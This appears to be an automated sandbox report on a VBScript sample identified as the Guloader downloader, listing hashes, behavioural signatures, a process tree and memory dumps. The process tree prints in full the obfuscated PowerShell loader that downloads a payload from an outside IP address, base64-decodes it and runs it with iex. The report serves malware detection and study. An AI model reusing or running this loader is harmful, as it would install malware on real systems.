Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20230705-en
  • resource tags

    arch:x64arch:x86image:win7-20230705-enlocale:en-usos:windows7-x64system
  • submitted
    12/07/2023, 09:23

General

  • Target

    Reylon.vbs

  • Size

    16KB

  • MD5

    5fcc423dd95776e7ce18ea1804b27118

  • SHA1

    85bbd202a7a2919cb4733c564dfd7c3ae2319510

  • SHA256

    82b08d87211f44c871d681e216fcd8ae33f485af2f6737011f187c5a56ac8c56

  • SHA512

    63c9f5e642da7de4d6aab845e3f9940bf23b13fd75be8cd55b4639a688a840b01ec2b7e7c42eba22347ab5061d1a5a0ba55bb528ac779d9e7820e324af83483f

  • SSDEEP

    384:cEYCB7v5QM+PUiStGvDQzX4FG0NClMgW8Q2T:c5CDkLKbW8zT

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Checks QEMU agent file 2 TTPs 2 IoCs

    Checks presence of QEMU agent, possibly to detect virtualization.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reylon.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Diskussi9 ([String]$Fibrocysto){For($Apha=1; $Apha -lt $Fibrocysto.Length-1; $Apha+=(1+1)){$Laeserfo=$Laeserfo+$Fibrocysto.Substring($Apha, 1)};$Laeserfo;}$Unconfe=Diskussi9 'Wh t t pB: /V/D1 9 4 . 5L5 .W2 2T4D.M1B8B3D/TmMrKk / SBtoySr t h jteM2 0S. p f m ';$Laeserfo01=Diskussi9 'SiLe xK ';$Egenfinan = Diskussi9 'H\Bs y s waorw 6M4A\KWLi nBd oMwUsUPPoAwAe rSSEhGeFl l \vv 1R. 0 \UpHoewSe rMsBhFeBl lK.IeSx eD ';.($Laeserfo01) (Diskussi9 'G$ OGvIe rR2 =S$ e nMv : wRiDnsd i rA ') ;.($Laeserfo01) (Diskussi9 ' $SE gSe nFfBiFn aDn = $SOSv eIrF2N+I$ E gFe nOf i nja n ') ;.($Laeserfo01) (Diskussi9 'H$FTboLn iae rNgDaPt eu M= (f( gGwEmBiU w iRnR3E2G_SpArBoRcUe sAsu -KFE MP rDo cGe s sDI dc=A$U{VP IHDB}P)U. C oDmPm aPnPdULUiVn eC) -As pFlSi tG V[Dc h aArU]U3R4T ');.($Laeserfo01) (Diskussi9 'V$ F o cvaIlHoA U=K $ETSoKn iSefrEgRaKtMe [M$ATIo n iReQrCgIaGt e .BcSoSu nUtC-M2L] ');.($Laeserfo01) (Diskussi9 'I$CKPa mBm e rHtA=B( THeFsVt -KPIaSt h S$BE gKe n fSiCn aSnC)B - AUn dL A(T[QIPn tAPItCrD]H:R:Rs iUz eE - e qF L8 )B ') ;if ($Kammert) {.$Egenfinan $Focalo;} else {;$Laeserfo00=Diskussi9 'BSRt aGr tC-IBKi tKsET r aBnSsSf eCr -RS o uFr cBe r$cU n c o nRf e -SD e sStMi n aFtSi o nC P$ OSvpeKrs2C ';.($Laeserfo01) (Diskussi9 ' $UORv eRrM2E= $Me nFvP: a pHpIdCaLt aM ') ;.($Laeserfo01) (Diskussi9 'IITm pDoAr tC- Meo dOudlSe RB iStksBT rDaBn s f eFrG ') ;$Over2=$Over2+'\Fattenl.Stu';while (-not $Webs) {.($Laeserfo01) (Diskussi9 'L$BW e bBs =F( TSe s t - PEaHtTh L$GODvOe rK2H)S ') ;.($Laeserfo01) $Laeserfo00;.($Laeserfo01) (Diskussi9 'dSBt a rut - SEl efeEpU 5R ');}.($Laeserfo01) (Diskussi9 ' $ID iTsSk uRs s i S=S MGPeStA- CFoSnSt eHn tB $BORv eLrR2R ');.($Laeserfo01) (Diskussi9 'U$DAFbWiSlTl apgTe b r = P[sS ytsStPePmF.TCPobnBvDe rDt ] :O: F r oCm BRaKsAeS6 4PS tHr i nBgS( $nD iNsEk uOsUsTiP)a ');.($Laeserfo01) (Diskussi9 ' $ L aCe s eBr f oL2 =P [SS yOsAtneLm .STke xRtP.ME njc oBdMiBnSgS] :T: AFSFCFISI .RGCe t S tCr i n g ( $PAFbEi lKl aEg e b rT) ');.($Laeserfo01) (Diskussi9 ' $VNPa t ulrWgK= $kLXaAeUs eCrCfeo 2I. sEu b s tGrWi nEgA( 2Z1 0T8B3D1F,L1L9S0 6T2 ) ');.($Laeserfo01) $Naturg;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:564
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Diskussi9 ([String]$Fibrocysto){For($Apha=1; $Apha -lt $Fibrocysto.Length-1; $Apha+=(1+1)){$Laeserfo=$Laeserfo+$Fibrocysto.Substring($Apha, 1)};$Laeserfo;}$Unconfe=Diskussi9 'Wh t t pB: /V/D1 9 4 . 5L5 .W2 2T4D.M1B8B3D/TmMrKk / SBtoySr t h jteM2 0S. p f m ';$Laeserfo01=Diskussi9 'SiLe xK ';$Egenfinan = Diskussi9 'H\Bs y s waorw 6M4A\KWLi nBd oMwUsUPPoAwAe rSSEhGeFl l \vv 1R. 0 \UpHoewSe rMsBhFeBl lK.IeSx eD ';.($Laeserfo01) (Diskussi9 'G$ OGvIe rR2 =S$ e nMv : wRiDnsd i rA ') ;.($Laeserfo01) (Diskussi9 ' $SE gSe nFfBiFn aDn = $SOSv eIrF2N+I$ E gFe nOf i nja n ') ;.($Laeserfo01) (Diskussi9 'H$FTboLn iae rNgDaPt eu M= (f( gGwEmBiU w iRnR3E2G_SpArBoRcUe sAsu -KFE MP rDo cGe s sDI dc=A$U{VP IHDB}P)U. C oDmPm aPnPdULUiVn eC) -As pFlSi tG V[Dc h aArU]U3R4T ');.($Laeserfo01) (Diskussi9 'V$ F o cvaIlHoA U=K $ETSoKn iSefrEgRaKtMe [M$ATIo n iReQrCgIaGt e .BcSoSu nUtC-M2L] ');.($Laeserfo01) (Diskussi9 'I$CKPa mBm e rHtA=B( THeFsVt -KPIaSt h S$BE gKe n fSiCn aSnC)B - AUn dL A(T[QIPn tAPItCrD]H:R:Rs iUz eE - e qF L8 )B ') ;if ($Kammert) {.$Egenfinan $Focalo;} else {;$Laeserfo00=Diskussi9 'BSRt aGr tC-IBKi tKsET r aBnSsSf eCr -RS o uFr cBe r$cU n c o nRf e -SD e sStMi n aFtSi o nC P$ OSvpeKrs2C ';.($Laeserfo01) (Diskussi9 ' $UORv eRrM2E= $Me nFvP: a pHpIdCaLt aM ') ;.($Laeserfo01) (Diskussi9 'IITm pDoAr tC- Meo dOudlSe RB iStksBT rDaBn s f eFrG ') ;$Over2=$Over2+'\Fattenl.Stu';while (-not $Webs) {.($Laeserfo01) (Diskussi9 'L$BW e bBs =F( TSe s t - PEaHtTh L$GODvOe rK2H)S ') ;.($Laeserfo01) $Laeserfo00;.($Laeserfo01) (Diskussi9 'dSBt a rut - SEl efeEpU 5R ');}.($Laeserfo01) (Diskussi9 ' $ID iTsSk uRs s i S=S MGPeStA- CFoSnSt eHn tB $BORv eLrR2R ');.($Laeserfo01) (Diskussi9 'U$DAFbWiSlTl apgTe b r = P[sS ytsStPePmF.TCPobnBvDe rDt ] :O: F r oCm BRaKsAeS6 4PS tHr i nBgS( $nD iNsEk uOsUsTiP)a ');.($Laeserfo01) (Diskussi9 ' $ L aCe s eBr f oL2 =P [SS yOsAtneLm .STke xRtP.ME njc oBdMiBnSgS] :T: AFSFCFISI .RGCe t S tCr i n g ( $PAFbEi lKl aEg e b rT) ');.($Laeserfo01) (Diskussi9 ' $VNPa t ulrWgK= $kLXaAeUs eCrCfeo 2I. sEu b s tGrWi nEgA( 2Z1 0T8B3D1F,L1L9S0 6T2 ) ');.($Laeserfo01) $Naturg;}"
        3⤵
        • Checks QEMU agent file
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2348
        • C:\Program Files (x86)\internet explorer\ieinstal.exe
          "C:\Program Files (x86)\internet explorer\ieinstal.exe"
          4⤵
          • Checks QEMU agent file
          • Adds Run key to start application
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetWindowsHookEx
          PID:2668

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          Filesize

          344B

          MD5

          770d8350daae6c7f2b5b25ca43f3522a

          SHA1

          c96b106e2d7bba04ba7c36458739a8825d42a189

          SHA256

          a771ab56702938dc05d65cebb57c6697b5ce152330222abc36775107e131d0ab

          SHA512

          421a70e8b4c4ef6182d542c622a5139c820d1bfe58ab8bcc3240f62263cc5c6df16a68319e144930f5320f9cb2e9242d9c60e6ba7b71f4f9ee7f84486c2db084

        • C:\Users\Admin\AppData\Local\Temp\Cab765B.tmp

          Filesize

          62KB

          MD5

          3ac860860707baaf32469fa7cc7c0192

          SHA1

          c33c2acdaba0e6fa41fd2f00f186804722477639

          SHA256

          d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

          SHA512

          d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

        • C:\Users\Admin\AppData\Local\Temp\TarBC6E.tmp

          Filesize

          164KB

          MD5

          4ff65ad929cd9a367680e0e5b1c08166

          SHA1

          c0af0d4396bd1f15c45f39d3b849ba444233b3a2

          SHA256

          c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

          SHA512

          f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0S6AHN3HR5DX9LVALPHG.temp

          Filesize

          7KB

          MD5

          271ae57e5fe7ec7130268737b82214b5

          SHA1

          be8854b23b036dc02c441b7975f0d3c5291f1213

          SHA256

          fd950c53f966e28f87c20d132f718a54534709640e4e6a5c79fb5a8ca42a83ac

          SHA512

          a3f9777fa851e5248cba54dd54ee5456d58abe07cc644ae6df6f7d5fd1a8df150b5eaeda76d128a7b0a9f0801156ac203bfe2808b3aa2d99f0128abea2a7a699

        • memory/564-78-0x00000000026E0000-0x0000000002760000-memory.dmp

          Filesize

          512KB

        • memory/564-95-0x00000000026E0000-0x0000000002760000-memory.dmp

          Filesize

          512KB

        • memory/564-76-0x0000000001F40000-0x0000000001F48000-memory.dmp

          Filesize

          32KB

        • memory/564-77-0x00000000026E0000-0x0000000002760000-memory.dmp

          Filesize

          512KB

        • memory/564-94-0x00000000026E0000-0x0000000002760000-memory.dmp

          Filesize

          512KB

        • memory/564-75-0x000000001B420000-0x000000001B702000-memory.dmp

          Filesize

          2.9MB

        • memory/564-74-0x00000000026E0000-0x0000000002760000-memory.dmp

          Filesize

          512KB

        • memory/564-93-0x00000000026E0000-0x0000000002760000-memory.dmp

          Filesize

          512KB

        • memory/2348-81-0x00000000026B0000-0x00000000026F0000-memory.dmp

          Filesize

          256KB

        • memory/2348-82-0x00000000026B0000-0x00000000026F0000-memory.dmp

          Filesize

          256KB

        • memory/2348-97-0x00000000026B0000-0x00000000026F0000-memory.dmp

          Filesize

          256KB

        • memory/2348-98-0x00000000026B0000-0x00000000026F0000-memory.dmp

          Filesize

          256KB

        • memory/2348-96-0x00000000026B0000-0x00000000026F0000-memory.dmp

          Filesize

          256KB

        • memory/2348-99-0x0000000005F60000-0x0000000009927000-memory.dmp

          Filesize

          57.8MB

        • memory/2348-100-0x0000000005010000-0x0000000005011000-memory.dmp

          Filesize

          4KB

        • memory/2668-103-0x0000000000C20000-0x00000000045E7000-memory.dmp

          Filesize

          57.8MB

        • memory/2668-104-0x0000000000C20000-0x00000000045E7000-memory.dmp

          Filesize

          57.8MB

        • memory/2668-106-0x0000000000C20000-0x00000000045E7000-memory.dmp

          Filesize

          57.8MB